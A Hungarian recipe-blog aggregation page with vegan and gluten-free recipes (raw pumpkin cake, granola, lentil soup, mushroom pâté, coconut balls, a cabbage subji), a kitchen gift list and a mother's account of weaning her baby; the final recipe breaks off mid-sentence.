Évek óta “gyűröm” a Philips konyhai robotgépemet. 1300 wattos teljesítményének köszönhetően könnyen készíthetünk vele magvajakat, datolyagolyókat, nyers tortákat. Nagyon sok tartozéka van, nálunk leggyakrabban az apítógép, a turmixgép és a zöldség-gyümölcscentrifua dolgozik.
15. Ananászos konyharuha
Nagyon szeretem a csillogó, metál színeket és az ananász motívumot, ami manapság nagy népszerűségnek örvend. Tuti nyerő ez a biopamut szöveg anyagból készült konyharuha.
16. Microplane reszelő (többféle színben)
Senkinek a konyhájából nem hiányozhat egy Microplane reszelő, ugyanis ez új távlatokat nyit a reszelés világában (citrusok héjának reszelése, szerecsendió reszelése, stb.)! Tartós, ultraéles, rozsdamentes acél, szabadalmaztatott rács szerkezetű pengék – amerikai gyártmány, gumi végek.
17. Kyocera kerámia reszelő (többféle méretben)
100% kerámiából készült. Alkalmas fokhagyma, gyömbér, és egyéb zöldségek, gyümölcsök feldolgozására, baba ételek készítéséhez alma, körte, őszibarack, stb. reszeléséhez. Szilikon aljzattal rendelkezik, amely meggátolja az eszköz használat közbeni elcsúszását, így egy kézzel is használhatjuk (míg a másik karunkban tartjuk a gyereket ). Tényleg villámgyorsan pépesre tudunk vele reszelni egy almát!
18. Kötény
Vidám zöldség mintás kötény, 100% pamut anyagból.
19. Sütipecsét
Pecsétnyomó házi készítésű kekszek feliratozásához Home made (házi készítésű) felirattal.
20. Öntöttvas serpenyő
Nagyon régóta vágyom egy igazi öntöttvas serpenyőre… talán most karácsonykor valóra válik a kívánságom! A hőt egyenletesen eloszlató öntöttvasból készült, így hosszú időn át meleg marad az edény, és egyenletes pirulást biztosít. Minden főzőlapon jól használható, beleértve az indukciós főzőlapot is. 25 év garancia van rá!
21. Üveg bögre szívószállal, fém tetővel
Szuper jó belőle inni a reggeli vagy délután turmixunkat. Tetejének köszönhetően praktikus, a gyerekek sem öntik ki belőle az italt.
Nyers kókuszos sütőtök torta (vegán, gluténmentes)
2016. november 28. Zizi kalandjai
Sütöttem már sütőtökös pitét régen, de az nem volt vegán. Elkezdtem gondolkodni, hogyan lehetne jó linzertészta alapot készíteni lisztből és kókuszzsírból, de a végére rájöttem, hogy leegyszerűsítem a dolgot úgy, hogy sütni se kelljen, csak a robotgépbe bedobálni mindent. A gyerekek mellett ez nagyon praktikus döntésnek bizonyult. Egyelőre a túlélésre játszom a konyhában, az éppen szükséges dolgokat főzöm meg, de extra sütésre, sütemény készítésre nincs időm, vagy lehetőségem. Nem tudom ezt mások hogyan csinálják, én két kicsi gyerek mellett nagyon nehezen tudom kivitelezni. De persze néha vannak kivételes alkalmak… amikor Ádit is be tudom vonni és segít például az alapanyagokat beletenni a robotgépbe, aztán persze meg is akar kóstolni mindent. Mindenből egy picit… hogy az ízek összeálltak-e.
A torta alapot datolya, mandula, kesudió adja egy kevés kakaóporral, vaníliával kiegészítve. A krém részhez viszont most nem kesudiót használtam, amit általában a nyers tortákhoz szoktam, hanem kókuszkrémet. A kesudiót érdemes beáztatni és mivel nekem most nem volt időm áztatni, ezért felgyorsítottam a dolgot a kókuszkrémmel. Nagyon kellemes kókuszos ízt ad így a tortának és finom krémes lesz tőle a sütőtökös rész.
Ilyen kókusztejet használtam, amelyből csak a sűrű krémes részt adtam a tortához, a kókuszvíz részt pedig a reggeli smoothie-hoz adtuk. Fantasztikusan sűrű, krémes, kiváló tortákhoz, süteményekhez. A karácsonyi desszerthez ebből fogok kókusztejszínhabot készíteni.
Nyers kókuszos sütőtök torta (vegán, gluténmentes)
Hozzávalók 5-6 főre (18 cm-es kapcsos formához):
Torta alaphoz:
– 160 g mandula és kesudió, vegyesen
– 165 g friss datolya, kimagozva (aszalt is jó, csak érdemes használat előtt egy fél órára langyos vízbe beáztatni, hogy könnyebben aprítsa a robotgép)
– 2 evőkanál nyers kakaópor (jó a nem nyers is)
– 1 evőkanál nyers kókuszzsír (jó a nem nyers is)
– 1/2 teáskanál őrölt vanília
– 1/2 teáskanál Himalaya só
Krémhez:
– 300 g sült sütőtök “húsa”
– 210 g kókuszkrém
– 80 g juharszirup vagy agavészirup
– 1/2 teáskanál őrölt fahéj
– 1/4 teáskanál őrölt gyömbérpor
A mandulát, a kesudiót, a datolyát, a kakaót, a kókuszzsírt, a vaníliát és a sót tegyük konyhai robotgépbe és aprítsuk kis darabosra (utána a robotgép tálját mossuk el). Akkor jó, ha kiveszünk belőle egy kis mennyiséget és összegyúrva összeragad. Egy kapcsos tortaforma alját béleljünk ki sütőpapírral és nyomkodjuk az aljába a datolyás alapot (eléggé ragad a datolya miatt). Tegyük hűtőbe, amíg a krémet elkészítjük.
A krém összes hozzávalóját tegyük a robotgépbe és pürésítsük teljesen simára. Kanalazzuk a krémet a magos datolyás alapra és tegyük a fagyasztóba néhány órára, amíg megszilárdul, szeletelhetővé válik, de nem túl kemény.
Abszolút fitti keksz 2 + 2 fél hozzávalóból
A minap teát kortyolgatva annyira megkívántam mellé a kekszet, hogy azt el nem tudom mondani. Nincs is annál jobb, mint egy korty teát - egy harapás keksszel váltogatni, és közben csak nézni magunk elé. Szabályosan felér egy mantrával.
Most már azt mondom, hála Istennek, nem volt itthon semmiféle keksz, mert másnap így kezdtem el egészséges recepteket keresni. Találtam is egy két hozzávalósat (banán és kókuszreszelék), de amikor megcsináltam, egyszerűen nem tudtam megállni, hogy ne illatosítsam meg valamivel. Egy négy hozzávalós keksz persze már nem olyan bámulatos, de igazán megéri az a kis ízesítés, mert így lesz igazán melengető íze a keksznek. Asszem, én márciusig ezt eszem. :)
Hozzávalók 8 db nagy kekszhez:
[...] Bővebben!
Kókuszos mandulagolyók (több változatban)
2016. november 21. Gitta nyersétel blogja
A kókuszos mandulatej készítésénél visszamaradó pépet sokféleképpen fel lehet használni. Az egyik, talán legegyszerűbb módja a Raffaelló golyó készítése. Mandulás-kakaós kókuszgolyóAz alapanyagunk morzsolódó, kicsit száraz, emiatt kókuszolajat vagy kókuszkrémet kell hozzátenni, a másik összetevő az édesítést szolgálja, agave szirup, vagy méz (ahogy tetszik), de mindenképpen valamilyen folyékony édesítőszer legyen, ugyanis itt nagyon fontos a "ragasztás", amit egy kristályos, száraz édesítőszer nem tud produkálni. A datolyát is nagyon szeretjük, csak itt most a színe miatt nem jöhet szóba. (maradjon csak szép fehér az a golyó) Raffaello golyó (no meg nem Raffaello, ami hátrébb van, csokis) Hozzávalók: 15 dkg kókusz-mandula pép (ami a tej készítésénél visszamarad) 1-2 evőkanál kókuszolaj (enélkül túl száraz lenne a massza) 2 evőkanál folyékony édesítőszer (valamilyen szirup vagy méz) kókuszreszelék egy mokkáskanál fahéj egy-egy szem mandula a golyók közepébe (vagy kakaópor, ha többféle golyót készítünk...) Szép sorban... A magpépet, kókuszolajat, és az édesítőszert jól összedolgozzuk. Fahéjjal ízesíthetjük. Kis golyókat formázunk, a közepére rakhatunk egy-egy szem mandulát. A golyók első harmadát meghempergetjük a kókuszreszelékben. A golyók második harmadát kakaóporba forgatjuk. A megmaradt kakaóport a maradék masszához adjuk, és a kakaós kókuszgolyókat ismét kókuszreszelékbe forgatjuk.
Táplálj helyesen édesanyám! (6. rész)
2016. november 21. Zizi kalandjai
Kerámia reszelő {Kyocera}, bambusz kanalak {Mamamibolt}
Minden ember más és más. Minden gyerek más és más. Minden baba más és más. Ez itt a Táplálj helyesen édesanyám! kettő pont nullás újratervezett verziója!
Talán néhányan emlékeztek, hogy miket írtam Ádi hozzátáplálásának a kezdetén. Azóta rájöttem, hogy a leírtak alapján tankönyvszerűen haladtunk. És mi a helyzet Ákossal? Na őt más dióból faragták! Elmesélem miért!
Július elején lett 6 hónapos, de eltelt utána még egy kis idő, amikor először próbálkoztunk nála finom, szaftos, édes őszibarackkal. Nem igazán lett a kedvence, ahogyan a répa sem. Azt gondolom, magával az “ízorgiákkal” volt baja, nem kattant rá a szilárd ételre, ahogyan Ádi, így tartottunk nála egy kis szünetet. Azért persze néha-néha próbálkoztunk újra őszibarackkal, almával és répával, de csak próbaszerűen. 8 hónapos kora körül kezdett el kicsit jobban érdeklődni az ételek iránt, de nem olyan lelkesedéssel, mint Ádi, hanem ímmel-ámmal, néha ízlett neki egy-két dolog és egész jól evett belőle.
Az az igazság, hogy másodjára már nem vagyok annyira lelkes a hozzátáplálást illetően, mint első alkalommal. Két gyerek ellátása és a háztartás vezetése mellett, valamint a saját ebédünk megfőzése mellett kevés időm marad Ákos ételeinek elkészítésére. Igyekszem minél könnyebben és egyszerűbben megoldani a dolgot, ráadásul sokszor fektetek bele több energiát, hogy hátha most majd megeszi, amit főzök, aztán mégse teszi. Szóval lazábban kezelem a dolgot és többnyire nyers vagy sült zöldségeket és gyümölcsöket adunk neki. A nyers gyümölcsök többségét – körtét, almát – Kyocera kerámia reszelővel reszeljük pépesre. Hihetetlen könnyű reszelni ezzel a 100% kerámia reszelővel, ugyanis szilikon aljzattal rendelkezik, mely meggátolja az eszköz használat közbeni elcsúszását. Simán tartod az egyik karodban a gyereket, a másik kezeddel pedig tudod reszelni a hámozott almát, ráadásul villámgyorsan, mert a kerámia anyagnak köszönhetően nagyon gyorsan le lehet reszelni vele egy teljes almát vagy körtét. Nem csak baba hozzátápláláshoz hasznos az eszköz, mert lehet vele reszelni fokhagymát, gyömbért, kurkumát, őszibarackot, puhább zöldségeket, például cukkinit is (kiváló ajándék lehet karácsonyra a szuper éles hámozóval együtt – anyukám szerint a világ legjobb hámozója, ő már elég sok fajtát kipróbált, de szerinte ez a legjobb ).
Lazábban veszem azt is, hogy miket adok neki, szóval ő sokkal hamarabb kóstolta az avokádót és a banánt például, mint Ádi. Mennyiségeket egyáltalán nem mérek nála, teljesen felesleges, mert randomszerűen eszik. Hol egy egész kis tálkával megeszik például egy almás kását, hol egy kanálnyi után nemtetszését fejezi ki, tehát értelmetlen lenne mennyiségeket mérni és azokat tukmálni rá. Zöldségeken és gyümölcsökön kívül gluténmentes gabonakását csinálunk még neki kb. 8-9 hónapos korától. Ezt is néha megeszi, néha nem. Gluténmentes tésztát is eszik, a Biorganiktól veszem ezt a kis kagyló formájút, ami azért jó, mert a pici kis ujjaival könnyen tudja csipegetni a tészta darabkákat.
Brokkolis tészta (főtt gluténmentes tészta párolt brokkolival)
Abban is lazább vagyok, hogy sokkal hamarabb adtam neki darabos, darabkás ételeket. Pürével kezdtünk, de néha úgy éreztem, hogy a darabos étel jobban menne neki. Nem mondom, hogy BLW-zünk – és tudom BLW (baby led weaning) során tilos keverni a pürés ételeket a darabossal -, inkább azt mondom, hogy hamarabb kezdte a darabos ételek fogyasztását, mint Ádi. Most már 10.5 hónapos, van már 5 foga és még legalább 5-6 jön neki éppen, tehát egész jól tud már “rágcsálni”. Valószínűleg a sok fog érkezése miatt viszont most alig eszik valamit, hébe-hóba kóstolgat meg ételeket… bármit teszek elé, adok neki, többnyire nem érdekli. A cici viszont annál inkább. Ez a fogzási időszak velejárója lehet, hogy nincs a babának étvágya. Na de Ákos súlya miatt nem kell aggódni, mert már 9.5 hónapos korában 11 kg volt!
Ádinak nem jöttek rohamtempóban a fogai, észre sem vettük, hogy fogzik, tehát nála étvágytalanság fel sem merült. Ákosnál viszont éppen turbó időszak van, így szegénykém nyugtalan is, meg a szilárd étel sem érdekli igazán.
Szóval ezeket ette, próbálta eddig (10.5 hónapos éppen):
Gyümölcsök: őszibarack, sárgabarack, alma, körte, szőlő, mangó, banán, avokádó.
Zöldségek: cukkini, kaliforniai paprika, répa, paszternák, sütőtök, spenót, brokkoli, karfiol, édesburgonya, lilaburgonya, burgonya, uborka, fokhagyma.
Gabona: gluténmentes gabonapehely, gluténmentes tészta.
Zsiradék: hidegen sajtolt babaolaj (repce-, napraforgó-, kenderolaj), minimális kókuszzsír.
Folyadék: anyatej, víz.
Zöldfűszer: kakukkfű, petrezselyem.
A tuti nyerő étel nála az avokádó. Általában ezt mindig megeszi. Vagy csak simán a héjából kikanalazzuk a gyümölcs húsát és falatkákat adunk, vagy villával pépesre törjük és úgy adjuk neki. Általában képes megenni egy fél avokádót vagy egy kicsivel többet egy étkezés során. Egyszer főztem fokhagymás párolt spenótot, amit gabonakásával kevertem össze. Meglepő módon az egészet megette. Teljesen kiszámíthatatlan, hogy mit eszik meg és mikor. Reménykedünk, hogy a fogai minél előbb kibújnak, a fájdalom elmúlik és megjön az állandó étvágya minél előbb.
Táplálj helyesen édesanyám! (1. rész)
Táplálj helyesen édesanyám! (2. rész)
Táplálj helyesen édesanyám! (3. rész)
Táplálj helyesen édesanyám! (4. rész)
Táplálj helyesen édesanyám! (5. rész)
Granola házilag készítve
Az első müzli, jobban mondva gabonapehely megalkotása Kellogg nevéhez fűződik. John Harvey Kellog és testvére Will Keith Kellog voltak a kukoricapehely (és a mogyoróvaj) előállításának úttörői a 19. század végén, 20. század elején. Igaz, a gabonapehely ötlete nem Kelloggéktól származik. Az ötlet gazdája Dr. James Caleb Jackson volt, aki 1863-ban hozta létre az első száraz gabonapelyhet, amelyet "granulának" nevezett. John egyik páciense, Charles William Post saját pehelygyárat alapított, ezzel a Kellogg gyár riválisa lett. Dr. Kellogg azzal vádolta Charles Postot, hogy az ellopta az eredeti receptet a szanatórium irodájából. (Mindemellett John Harvey Kellogg orvos volt, egy adventista szanatórium főorvosaként szolgált hosszú ideig.)
1897 körül John Kellogg és testvére Will Keith Kellogg elkezdte gyártani reggeli tápláléknak szánt, teljes kiőrlésű gabonapelyhét. Abban az időben a gazdagok tojást és húst, a szegények pedig zabkását és más főtt gabonafélét ettek reggelire.
Később a testvérpár nem értett egyet a receptet illetően (Will cukrot akart tenni a pehelybe, hogy több embert vonzzon a fogyasztók körébe). Will megalapította saját üzemét 1906-ban, Battle Creek-ben, a mai Kellogg Company elődjét, először mintegy 44 fővel dolgozva. Ekkor kreálták a Kelloggs(R) Corn Flakes(R) márkanevet.
1922-ben Kellogg-nak sikerült Angliában is az árusítást beindítani.
John Kellog a szanatórium által is híressé vált. Betegei voltak többek között William Howard Taft, az USA elnöke, Percy Grainger zeneszerző és zongoraművész, Irving Fisher közgazdász, George Bernard Shaw Nobel-díjas drámaíró, Johnny Weissmüller olimpiai bajnok úszó és filmszínész, Henry Ford a Ford gyár megalapítója, Thomas Edison feltaláló és Sarah Bernhardt színésznő.
A gyárhoz tartozó irodai rész 1894-ben:Kellogg testvérek életútja külön-külön sok érdekességet rejt, beszélhetnék még a fitness gépekről, a Titanicról is akár. Remélem, érdeklődés felkeltésnek, kedvcsinálónak tudtam érdekes információkkal szolgálni, most azonban következzen a házi granola recept gazdagon elkészítve.
A recept
Hozzávalók:
- 2 bögre zabpehely
- 1/2 bögre rizspehely
- 1/2 bögre napraforgómag
- 1/3 bögre tökmag
- 1 bögre vegyes dió- mogyoróféle (törökmogyoró, kesudió, dió, mandala)
- 1/2 bögre kókuszcsipsz
- 1/3 bögre datolyaszirup (másfajta szirup vagy méz is jó)
- 4 evőkanál mogyoróolaj vagy folyékony kókuszzsír
- 1 bögre aszalt gyümölcs
Elkészítés:
Egy nagyobb tálban keverjük össze a száraz alapanyagokat: zabpelyhet, magokat, kókuszcsipszet, aszalt gyümölcsöket. A datolyaszirupot és a mogyoróolajat jól keverjük össze egy másik tálkába. Öntsük rá a száraz alapanyagokra, keverjük át. Tegyük sütőpapírral bélelt tepsibe, kanállal egyengessük el, hogy mindenhova egyformán jusson. Előmelegített sütőben 180 fokon süssük kb. 8-10 percig, keverjük át, majd süssük újabb 8-10 percig, amíg aranybarna lesz (ellenőrizzük folyamatosan, mert sütőn múlik, hogy milyen hamar lesz kész). Akik sötétebb színben, jó ropogósan szeretik, azoknak egy picit tovább kell sütni, akik lágyabban, azoknak rövid ideig. Üvegben tárolva néhány hétig eláll (ha el nem fogy előbb :) ).
Természetesen a granolát készíthetjük csak zabpehely és aszalt gyümölcsök vagy zabpehely és magvak párosítással. Ebbe a granolába gazdagon sok mindent beletettem.
Szupergyors reggeli
2016. november 12. Éltető ételek
Amikor a gyerekeim nem kását reggeliznek, hanem valami kenyérfélét, akkor magamnak egy szupergyors müzlit készítek. Ebben az a jó, hogy a pasik is könnyűszerrel el tudják készíteni, akár meglepetés reggelit is készíthetnek a párjuknak. Az alapja kedvenc növényi tejünk, amelyet sok nyers finomsággal turbózhatunk fel. Hozzávalók: - 2 dl növényi tej (pl. kókusz vagy mandula) - 1 banán - 2-3 evőkanál aprószemű zabpehely - kis marék apróra tört olajos magvak (pl. dió, kesudió, mandula, törökmogyoró, kendermag) - extra: puffasztott amaránt vagy quinoa, hajdinacsíra - vaníliapor, fahéj - házi eperlekvár vagy savanykás friss gyümölcs Elkészítése: Végy 2 dl növényi tejet (pl. kókusztej vagy mandulatej) és botmixerezz bele egy szép, érett banánt (de akár bele is kockázhatod). Szórjál hozzá 2-3 evőkanál apró szemű zabpelyhet és apróra tört olajos magot (pl. diót, törökmogyorót). Nézz szét a kamrában, ha találsz puffasztott amarántot vagy quinoát, az is kerülhet bele. Vaníliaporral vagy fahéjjal ízesítheted. Kockázz fel egy gyümölcsöt (ami éppen szezonálisan kapható) és jóízűen edd meg. :)
Lencseleves csíráztatva
2016. november 10. Éltető ételek
Szoktatok hüvelyeseket csíráztatni? Ma pl. lencselevest főztem, amelybe kicsírázott lencse került. Miért is jó ez? Emészthetőbb, hamarabb megfő, a keményítő egyszerű cukorrá, a fehérje aminosavvá és peptonná, a nyers zsír szabad zsírsavvá alakul. A barnalencse különösen könnyen kicsírázik. 1 éjszakai áztatás után leszűröm, beteszem a hűtőbe, és másnap ott is vannak a csírák. Persze csak akkor, ha nincs a lencse valamivel kezelve. De nekem eddig mindig kicsírázott. Tápláló és teljes értékű leves készülhet belőle, mivel gabonával is társítottam. Hozzávalók: - 1 csésze csíráztatott barna lencse - 1 sárgarépa - a répával megegyező mennyiségű batáta - 1 brokkoli törzse - 1 közepes burgonya (vagy csicsóka) - 2 marék köles (vagy hajdina) - 1 vöröshagyma - 2-3 gerezd fokhagyma - 2-3 evőkanál házi paradicsomlé (nekem minden benne van, magja, héja is) - 1 szelet paprika (fagyasztottam le télire) - 2 babérlevél - 2 teáskanál kókuszolaj - őrölt kömény, himalája só, bors, pirospaprika Elkészítése: - A hagymát vágjuk fel pici kockára és a kókuszolajon dinszteljük meg. Reszeljük bele a fokhagymát. - Minden zöldséget (sárgarépa, batáta, brokkoli törzse, burgonya) vágjuk fel egyforma kockára. - Forgassuk meg a hagymás zsírban, majd adjuk hozzá a csíráztatott lencsét. Szórjuk meg pirospaprikával és öntsünk rá vizet. Ekkor tegyük hozzá a paradicsomlevet, a paprikát és a fűszereket. - Főzzük a zöldségeket roppanósra, majd adjuk hozzá az átmosott kölest. Kb, 12 perc múlva el is készült a levesünk.BABAKONYHA TIPP: A lencsefélék 9-11 hónapos kortól adhatók, turmixoljuk össze még a családi fűszerezés előtt.
Nyers könnyű csokitorta
2016. november 7. Gitta nyersétel blogja
A novemberi nyersétel hétvégén készítettük el ezt a gyönyörű nyers csokitortát, ami azért különleges, mert habkönnyű, nem túl édes, finom, krémes... Havi rendszerességgel tartunk nyersétel hétvégéket Piliscsabán, ahol péntektől vasárnapig együtt vagyunk, nyers ételeket készítünk, eszünk... és minden hétvégén viszek valami különleges programot, most a novemberi hétvége témája a germán medicína volt, Deák Csaba tartott előadást és vele tisztáztuk a kérdéseinket is (volt sok). De jöjjön a lényeg, a csokitorta receptje a18 cm-es tortaformához Hozzávalók: az alaphoz: 10 dkg kókuszreszelék 5 dkg zabpehely 5 dkg datolya (beáztatva) 1 csipet só a krémhez: 20 dkg kesudió, és annyi víz, amennyi épp ellepi 40 dkg datolya (beáztatva mérve) 1 teáskanál vanília őrlemény 1 teáskanál agar agar 1 dl víz 2 evőkanál kakaópor az öntet: 20 dkg bármilyen piros bogyós gyümölcs 1 banán Sütőpapírral kibélelünk egy kis tortaformát (kb 18 cm-es). A zabpelyhet aprítógépben megtörjük (nem kell teljesen lisztté őrölni), és összekeverjük a kókuszreszelékkel és a sóval. A beáztatott datolyából annyit gyúrunk hozzá, hogy egy nem túl nedves, de formázható masszát kapjunk. Ez kb 5 dkg, de attól is függ, hogy mennyire nyomkodtuk ki belőle a vizet. Ezt a masszát belenyomkodjuk az előkészített tortaformába, kanál hátuljával jól kisimítjuk szép egyenesre. A csokikrémhez a kesudiót simára turmixoljuk annyi vízzel, amennyi a turmixgépben szükséges ahhoz, hogy egy teljesen sima krémet kapjunk. Hozzátesszük a datolyát, vaníliát és a kakaóport (csoki-imádók több kakaóport is használhatnak), majd elkészítjük a növényi zselatint. 1 dl vizet felforralunk, és elkeverünk benne 1 csapott teáskanál agar agar port. Addig keverjük, amíg fel nem olvad a por és el nem készül a zselé. Nem baj, ha felhabzik, folyamatosan kell keverni. A csokikrémet elkezdjük keverni (lehetőleg a turmixgéppel) és így csurgatjuk bele apránként az agar agar zselét. Beletöltjük a tortaformába, elsimítjuk a tetejét, majd hűtőszekrénybe tesszük dermedni. 1 óra múlva már lehet tálalni, szépen összeáll, szépen lehet szeletelni. Az öntet opcionális: nélküle is finom a torta, de vele még különlegesebb :) A piros gyümölcsöket (lehet meggy vagy málna vagy szeder, áfonya, vagy ezek keveréke is, ilyenkor főleg fagyasztott állapotban) elturmixoljuk a banánnal és készen is vagyunk. Tálaláskor szépen ráöntjük a tortára. A nyersétel hétvége egyik fénypontja volt ez a tortaszelet :) :) :)
Vegán Sacher torta
2016. október 27. Vegán Család
Hozzávalók:
tésztához:
15 dkg teljes kiőrlésű tönkölyliszt
15 dkg finomliszt
5 dkg 20-22% kakaóvaj tartalmú kakaópor
15 dkg xilit vagy más cukorhelyettesítő
15 dkg kókuszzsír olvasztva
1 csomag foszfátmentes sütőpor
csipet só
1 csésze víz (2,5 dl)
1/2 csésze darált mandula
töltelékhez:
1 üveg sárgabarack lekvár
mázhoz:
3 tábla magas kakaótartalmú étcsokoládé (27 dkg)
1 ek víz
3 dkg xilit vagy más cukorhelyettesítő
1 dl kókusztejszín
[...] Bővebben!
Gombapástétom (vegán, gluténmentes)
2016. október 25. Zizi kalandjai
Újabb adag csodaszép gombákat kaptunk kipróbálásra a Bio-Funghi Kft-től. Barna csiperke gombák érkeztek rózsaszín dobozkában a GoPink kampány keretében. A mellrák elleni küzdelemhez csatlakozva a Bio-Fungi Kft. egész októberben rózsaszín tálcákba csomagolja a csiperke- és laskagomba termékeit. A termesztett csiperkegombának alacsony a kalóriatartalma, nem tartalmaz zsírt és koleszterint, valamint magas a víz- és rosttartalma. Ásványi anyagokban (szelén, kalcium, nátrium, foszfor, magnézium, kálium) és vitaminokban (D, B-vitamin) szintén gazdag, továbbá antioxidáns is. Fontos, hogy ne hámozzuk, mert így értékes tápanyagokat veszítünk, csak folyó víz alatt, gyors öblítéssel tisztítsuk meg.
Az egyik adagból mennyei gomba pástétomot csináltam. Nóri Mindenmentes című könyvéből választottam ezt a receptet. Nóri blogját már követem egy ideje. Igazi kísérletező… képes tesztelni egy receptet nagyon sokszor, csak, hogy elérje azt a tökéletes végeredményt, amit a fejében elképzelt. Nagyon sok kreatív ötletet meríthetünk a receptjeiből és sok-sok egészséges finomság kerül az asztalunkra, ha az ő blogjáról vagy az ő könyvéből főzünk.
Épp a kiadónál voltam egy megbeszélésen, amikor kiderült számomra egy véletlen elszólásból, hogy Nóri is velük készít könyvet. Ahogy hazaértem, írtam neki egyből, hogy “Könyvet írsz, Nóri?”. Aztán elmesélte a sztoriját, hogy honnan jött az ötlet, hogy a blogból kézzel fogható könyvet készítsen, miket tapasztalt az “út” során és ellátott sok-sok hasznos tanáccsal, amik nagyon jól jöttek nekem, éppen, akkor, amikor még csak az “út” elején jártam. Szóval a Mindenmentes könyv egy vegán szakácskönyv, de ezenkívül az összes recept benne gluténmentes, hozzáadott cukor mentes és a 160g CH diétába is beilleszthető. Kreatívan van fejezetekre bontva a könyv: házilag készült ételekre, útravalókra, vendégvárókra, hétköznapokon könnyen elkészíthető ételekre, hétvégékre ráérős napjainkra készíthető ételekre és desszertekre. Ha belőle főzünk magunknak, családtagjainknak, barátainknak, akkor nemcsak egészséges, hanem finom ételt teszünk az asztalra, jól fogunk lakni és utána is jól fogjuk magunkat érezni. Nóri könyve nagyszerű ajándék lehet karácsonyra vegánoknak, gluténmentesen étkezőknek, vagy olyanoknak, akik mindenevők, de érdeklődnek az egészséges táplálkozás után vagy érzik, hogy változtatni szeretnének néhány dolgot az étkezésükön, de nem tudják hol kezdjék el.
Könyvéből a gombapástétom receptjét választottam, amit barna csiperkéből készítettem. Gyorsan összedobható és néhány napra biztosítva van a kencénk, amit pirítós kenyérre kenhetünk vagy zöldségeket mártogathatunk bele!
Gombapástétom (vegán, gluténmentes)
Hozzávalók 2 kis tálkához:
– 250 g barna csiperke
– 50 g nyers kesudió
– 1 fej vöröshagyma, felaprítva
– 2 kávéskanál kókuszzsír
– 1 evőkanál petrezselyem, apróra vágva
– só, bors, ízlés szerint
A kesudiót száraz serpenyőben pirítsuk meg kb. 10 perc alatt, majd tegyük aprítógépbe.
A vöröshagymát kevés kókuszzsíron pároljuk üvegesre, majd tegyük azt is az aprítógépbe. A gombát kockázzuk fel és süssük/pirítsuk barnulásig egy kevés kókuszzsíron, majd ezt is dobjuk az aprítógépbe. Sózzuk, borsozzuk ízlés szerint, adjunk hozzá petrezselymet és turmixoljuk krémesre.
*****
A könyvet a {Boook Kiadó} biztosította a teszteléshez. A recept a kiadó engedélyével jelent meg. A véleményem csakis a sajátom.
Csokoládés energiabomba turmix (vegán, gluténmentes)
2016. október 1. Zizi kalandjai
Igazán jól indul a napunk egy ilyen energiabomba turmixszal. Van benne kakaópor, banán, mandulatej, spenót (opcionálisan hozzáadható) és egy különleges alapanyag: kendermag por. A kendermag por gazdag esszenciális aminosavakban, bővelkedik B- és E-vitaminban, valamint jelentős mértékben tartalmaz kálciumot, magnéziumot és káliumot. A kender másik erénye az, hogy gazdag Omega-3 és Omega-6 zsírsavakban. Ha nem sikerül beszerezni, anélkül is elkészíthető a turmix, esetleg adhatunk hozzá őrölt lenmagot helyette.
Nyers kakaópor / Kendermag por
Ez olyan desszertet reggelire recept… nem mondom, hogy tegyünk (kókusz) tejszínhabot a tetejére, de ha mégis, akkor tényleg desszert lesz belőle. Jó sűrű turmix, ami feltölt bennünket reggelente vagy akár sportolás után (a kendermag por magas fehérjetartalma miatt kiváló táplálék kiegészítő sportolóknak)!
Csokoládés energiabomba turmix (vegán, gluténmentes)
Hozzávalók 2 főre:
– 2 bögre mandulatej (rizs-, zab- és szójatej is használható – kapható már gluténmentes zabtej is bioboltokban)
– 1 db érett banán, meghámozva, szeletekre vágva
– 2 evőkanál cukrozatlan kakaópor
– 1 evőkanál kendermag por
– 1 kis maréknyi friss spenót
(A recepthez használt bögre 250 ml-es.)
A hozzávalókat tegyük turmixgépbe, és turmixoljuk 5 percig. Ha túl sűrűnek találjuk, hígítsuk még egy kevés mandulatejjel.
**********
2016 októberében megjelenő Vegán Reggeli című szakácskönyvem még mindig 25%-os kedvezménnyel rendelhető meg! Remélem ti is annyira várjátok, mint én! Részletekért katt a képre!
Gluténmentes vegán Raffaello golyó
2016. szeptember 29. Vegán lettem
A gluténmentes vegán Raffaello golyó receptjét az Édes Élet Cukrászda ajánlja nektek nagy szeretettel. Glutén, cukor, tej és mindenmentes finomság.
Sokunk örök nagy kedvence a Raffallo golyó. De amikor az ember növényi étrendre vált, vagy gluténmentesen kell táplálkoznia egészségügyi, illetve megelőzési okokból, akkor bizony sok más kedvenc édesség között a Raffello golyókat is el kell hagynia az étrendből. Még szerencse, hogy kis kreativitással minden elkészíthető gluténmentes és vegán módon is, így készülhetett el a gluténmentes vegán Raffello golyó is. Köszönet a receptért Homa Gábor cukrásznak és az Édes Élet Cukrászdának.
Gluténmentes vegán Raffallo golyó hozzávalók:
Fél liter kókusztely
5dkg eritrit
6dkg kukoricakeményítő
6dkg kókuszreszelék
Egy vaníliarúd
30dkg hántolt mandula
Gluténmentes vegán Raffaello golyó elkészítés:
Tedd tűzre forralni a tej 2/3-ad részét, add hozzá az eritritet, a kókuszreszeléket és a vaníliamagot. A tej maradék 1/3-ad részét keverd össze kukoricakeményítővel, és amikor a forrásnak indul a kókusreszelékkel összekevert tej, öntsd hozzá a keményítős 1/3-ad részt. Az összekevert tejet hagyd kihülni, majd gyúrj kis golyócsákat úgy, hogy mindegyik közepére tegyél egy szem mandulát. A gólyocskákat hempergesd kókuszreszelékbe, majd kínáld fel barátaidnak és családodnak új kedvenc édességüket. A panírnak csak a képzeleted szabhat határt. Használhatsz kókuszreszelék helyett, kakaóport, fahéjat, karobport, vagy ezeknek ízlésed szerinti keverékét.
Jó étvágyat!
Édes Élet Cukrászda a weben
Édes Élet Cukrászda a facebookon
Káposztás subji - ájurvédikus zöldséges főétel
2016. szeptember 13. Élj harmóniában
Itt az ősz és akad káposzta bőven a piacok kínálatában:) Egyáltalán nem drága zöldség és nagyon változatosan elkészíthető. A káposzta az ájurvéda szerint keserű, fanyar és hűsítő. Könnyű és emésztést segítő hatású, serkenti az emésztés tüzét az agnit. A káposzta száraz és megkötő tulajdonságokkal is rendelkezik , ami székrekedést és gázokat okozhat. Káposztás subji Bár ez a recept mindhárom dhosát kiegyensúlyozza, Vataknak ezt mértékkel kell fogyasztani. A kurkuma, hing és a só segítenek csökkenteni azon tulajdonságokat, melyek fokozzák a Vatat. Ez a subji recept, orvosi felhasználását tekintve úgy működik, mint egy enyhe hashajtó. Hozzávalók 1 közepes fej káposzta apróra vágva 2 ek. ghí (tisztítitt vaj vagy vegán változatban kókuszzsír ) 1/2 tk. fekete mustármag 1/2 tk. római kömény 1/4 tk. kurkuma csipet aszafoetida (hing) 1/4 tk. só 1 kis chili Vegyszermentes (bio) alapanyagokat használj! A felvágott káposztát mosd meg kétszer. Melegítsd fel az edényt 